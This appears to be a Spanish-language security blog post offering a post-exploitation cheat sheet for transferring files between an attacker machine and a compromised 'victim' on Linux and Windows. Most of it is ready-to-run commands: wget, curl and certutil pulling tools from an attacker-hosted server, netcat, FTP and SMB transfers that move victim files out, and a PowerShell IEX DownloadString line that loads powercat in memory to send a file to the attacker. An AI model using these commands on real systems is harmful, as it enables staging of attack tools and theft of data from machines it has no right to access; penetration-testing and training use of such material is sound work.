· Pablo Plaza Martínez · cheatsheet  · 5 min read

Transferir archivos (Post explotación) - CheatSheet

Recopilación práctica de métodos para transferir archivos durante la post-explotación en Linux y Windows. Incluye HTTP, Netcat, SCP, FTP, SMB, Certutil, PowerShell y Powercat. Ideal para subir herramientas o descargar datos de la víctima sin Meterpreter o Empire.

Recopilación práctica de métodos para transferir archivos durante la post-explotación en Linux y Windows. Incluye HTTP, Netcat, SCP, FTP, SMB, Certutil, PowerShell y Powercat. Ideal para subir herramientas o descargar datos de la víctima sin Meterpreter o Empire.

Transferir archivos (Post explotación) - CheatSheetUna vez conseguida shell en un objetivo es importante la tranferencia de archivos entre la máquina víctima y la atacante ya que muchas veces necesitaremos subir archivos como herramientas automáticas o exploits o bien descargarnos archivos de la víctima para analizarlos, reversing, etc. En este post veremos un Cheatsheet de algunas de las maneras para realizar estas transferencias. Si se os ocurre alguna mas no dudeis en comentarlo.

Antes de empezar hay que aclarar que si se obtiene la conexión con el objetivo mediante meterpreter, empire o alguna herramienta similar se facilitará la tarea pero como a veces no es posible o no conviene cargar esas herramientas solo comentaremos las maneras mas manuales.

En este post veremos los casos de que la máquina víctima sea Linux o Windows.

Linux

Subir archivos a la víctima

Simple HTTP Server

Con este metodo hostearemos nuestro archivo a subir con un simple server de python, que tambien podria hostearse mediante cualquier otro server pero usaremos este por su sencillez, y posteriormente lo descargamos con wget en la víctima(o bien curl si no esta instalado).

Comando máquina atacante:

 python -m SimpleHTTPServer 80 

Comando máquina víctima:

 wget http://192.168.1.35/FiletoTransfer 

o

 curl -o FiletoTransfer http://192.168.1.35/FiletoTransfer 

SCP(utilidad de SSH)

Este metodo solo será valido si la máquina objetivo tiene ssh y disponemos de las credenciales. Utilizaremos la utilidad scp para transferir el archivo

scp FiletoTransfer tester@192.168.1.39:/home/tester/iron/ 

Netcat

Utilizaremos la herramienta que es conocida como la navaja suiza del hacker, netcat. La mayoria de los equipos con linux lo llevan instalado asi que esto es una ventaja.

nc -lvp 4444 > FiletoTransfer 

Comando máquina atacante:

 nc 192.168.1.39 4444 -w 3 < FiletoTransfer 

FTP

Montaremos un ftp temporal(podriamos utilizar un ftp convencional) utilizando la utilidad twistd para asi acceder desde la víctima y descargar el archivo

twistd -n ftp -r . 

Comando máquina víctima:

 wget ftp://192.168.1.35:2121/FiletoTransfer 

Bajar archivos de la víctima

Simple Server HTTP

Este metodo es el mismo exactamente que para subir un archivo pero al revés. En este caso la máquina víctima debe tener python para ejecutar el simple server. Tenemos que tener en cuenta que no tendremos permisos para levantar cualquier puerto. También podríamos mover nuestro archivo a la carpeta del servidor web si por ejemplo tiene corriendo el apache, aunque para eso deberiamos tener permisos.

Comando máquina víctima:

 python -m SimpleHTTPServer 8080 

Comando máquina atacante:

 wget http://192.168.1.39:8080/FiletoDownload 
- ##### Netcat
    
    Tambien utilizaremos la herramienta netcat a la inversa que para subir el archivo a la máquina víctima. Es importante tener en cuenta los permisos sobre los puertos a utilizar.  
    ![](~/assets/images/blog/transferir-archivos-post-explotacion-cheatsheet/images/ezgif.com-gif-maker-7.gif)  
    Comando máquina atacante: 
 nc -lvp 4444 > FiletoDownload 

Comando máquina víctima:

 nc 192.168.1.35 4444 -w 3 < FiletoDownload 
- ##### SCP(utilidad de SSH)
    
    Este metodo solo será valido si la máquina objetivo tiene ssh y disponemos de las credenciales. Utilizaremos la utilidad scp para transferir el archivo de la máquina víctima a la nuestra.  
    ![](~/assets/images/blog/transferir-archivos-post-explotacion-cheatsheet/images/ezgif.com-gif-maker1-1.gif)  
    Comando máquina atacante: 
 scp tester@192.168.1.39:/home/tester/iron/FiletoDownload . 

Windows

  • Subir archivos a la víctima

    • Powershell DownloadFile

      Con este metodo hostearemos nuestro archivo a subir con un simple server de python, que tambien podria hostearse mediante cualquier otro server pero usaremos este por su sencillez, y posteriormente lo descargamos con la función DownloadFile de powershell.

      Comando máquina atacante:

 python -m SimpleHTTPServer 8080 

Comando máquina víctima:

 powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.10.10.1:8080/FiletoTransfer','C:\\Users\\test\\Desktop\\FiletoTransfer')" 
- ##### Certutil.exe
    
    Con nuestro archivo hosteado utilizaremos la herramienta de Microsoft certutil.exe para bajarnos el archivo que queramos. Esta herramienta esta pensada para bajar certificados pero como ya vimos en este [post](https://ironhackers.es/cheatsheet/comandos-en-windows-para-obtener-shell/) se puede aprovechar para mas cosas.  
    ![](~/assets/images/blog/transferir-archivos-post-explotacion-cheatsheet/images/ezgif.com-gif-maker1-2.gif)  
    Comando máquina atacante: 
 python -m SimpleHTTPServer 8080 

Comando máquina víctima:

 certutil.exe -urlcache -split -f http://10.10.10.1:8080/FiletoTransfer FiletoTransfer 
- ##### Netcat
    
    Este metodo es similar al usado en netcat con linux. Para poder realizar la transferencia de esta manera deberemos tener el binario de netcat para nuestro windows.  
    ![](~/assets/images/blog/transferir-archivos-post-explotacion-cheatsheet/images/ezgif.com-gif-maker-9.gif)  
    Comando máquina víctima: 
 nc.exe -lvp 4444 > FiletoTransfer 

Comando máquina atacante:

 nc 10.10.10.2 4444 -w 3 < FiletoTransfer 
- ##### FTP
    
    Utilizaremos un FTP temporal para hostear nuestro archivo. Windows lleva preinstalado un cliente FTP por lo que nos conectaremos y bajaremos el archivo deseado. Puede que nuestra shell no sea interactiva y tengamos que usar un fichero de comandos para conectarnos y descargar el fichero.  
    ![](~/assets/images/blog/transferir-archivos-post-explotacion-cheatsheet/images/ezgif.com-gif-maker1-3.gif)  
    Comando máquina atacante: 
 twistd -n ftp -r . 

Comando máquina víctima:

 ftp open 10.10.10.1 2121 anonymous
        
        get FiletoTransfer bye 
- ##### SMB
    
    Mediante impacket-smbserver montaremos un smb folder en nuestra máquina a la que accederemos desde la máquina víctima descargando asi el archivo  
    ![](~/assets/images/blog/transferir-archivos-post-explotacion-cheatsheet/images/ezgif.com-gif-maker2-1.gif)  
    Comando máquina atacante: 
 impacket-smbserver -smb2support test . 

Comando máquina víctima:

 copy \\\\10.10.10.1\\test\\FiletoTransfer FiletoTransfer 
  • Bajar archivos de la víctima

    • FTP

      Con este metodo montaremos un ftp temporal en la carpeta donde se encuentra nuestro archivo pero esta vez con permiso de escritura. Posteriormente accederemos desde la víctima y subiremos nuestro archivo.

      Comando máquina atacante:

 python -m pyftpdlib -w 

Comando máquina víctima:

 ftp open 10.10.10.1 2121 anonymous
        
        put FiletoDownload bye 
- ##### Netcat
    
    Este metodo es similar al usado en netcat para subir archivos pero a la inversa. Para poder realizar la transferencia de esta manera deberemos tener el binario de netcat para nuestro windows.  
    ![](~/assets/images/blog/transferir-archivos-post-explotacion-cheatsheet/images/ezgif.com-gif-maker4-1.gif)  
    Comando máquina atacante: 
 nc -lvp 4444 > FiletoDownload 

Comando máquina víctima:

 nc.exe 10.10.10.1 4444 -w 3 < FiletoDownload 
- ##### SMB
    
    Mediante impacket-smbserver montaremos un smb folder en nuestra máquina a la que accederemos desde la máquina víctima para copiar el archivo a descargar en nuestra carpeta SMB  
    ![](~/assets/images/blog/transferir-archivos-post-explotacion-cheatsheet/images/ezgif.com-gif-maker5.gif)  
    Comando máquina atacante: 
 impacket-smbserver -smb2support test . 

Comando máquina víctima:

 copy FiletoDownload \\\\10.10.10.1\\test\\FiletoDownload 
- ##### Powercat
    
    En este metodo cargaremos en memoria el modulo de powercat, una herramienta con la que podemos cargar una shell, enviar archivos. En este caso lo usaremos para esto mismo. Tenemos hosteado en nuestra máquina el archivo powercat.ps1 y lo cargamos mediante la funcion DownloadString. Ejecutamos powercat para enviarnos el archivo y mediante wget lo descargamos en nuestra máquina. Veremos que la descarga no termina nunca pero la cancelaremos cuando pueda haber terminado dependiendo del tamaño del archivo.  
    ![](~/assets/images/blog/transferir-archivos-post-explotacion-cheatsheet/images/ezgif.com-video-to-gif-2.gif)  
    Comando máquina víctima: 
 powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.10.1/powercat.ps1');powercat -l -p 4444 -i C:\\Users\\test\\FiletoDownload" 

Comando máquina atacante:

 wget http://10.10.10.2:4444/FiletoDownload 

Herramientas:
netcat, impacket, pyftpdlib, powercat, twistd

Back to Blog

Related Posts

View All Posts »
Transferring files (Post-exploitation) - CheatSheet

Transferring files (Post-exploitation) - CheatSheet

Practical compilation of methods for transferring files during post-exploitation on Linux and Windows. Includes HTTP, Netcat, SCP, FTP, SMB, Certutil, PowerShell, and Powercat. Ideal for uploading tools or downloading data from the victim without Meterpreter or Empire.

Commands in Windows to obtain shell

Commands in Windows to obtain shell

Compilation of techniques for obtaining shell access in Windows after RCE. Includes in-memory PowerShell, Powercat, Regsvr32, HTA, Cscript, MSBuild, WMIC, Certutil, and tests against Windows Defender.

Comandos en Windows para obtener shell

Comandos en Windows para obtener shell

Recopilación de técnicas para obtener shell en Windows tras RCE. Incluye PowerShell en memoria, Powercat, Regsvr32, HTA, Cscript, MSBuild, WMIC, Certutil y pruebas contra Windows Defender.

Port Forwarding - CheatSheet

Port Forwarding - CheatSheet

Practical summary of port forwarding/tunnelling techniques in Linux and Windows (SSH, socat, netcat, meterpreter, plink, and netsh) for accessing internal services behind firewalls.